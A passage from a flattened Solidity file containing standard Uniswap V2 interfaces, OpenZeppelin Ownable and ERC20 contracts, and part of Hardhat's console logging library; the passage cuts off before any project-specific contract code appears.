function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: hardhat/console.sol
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
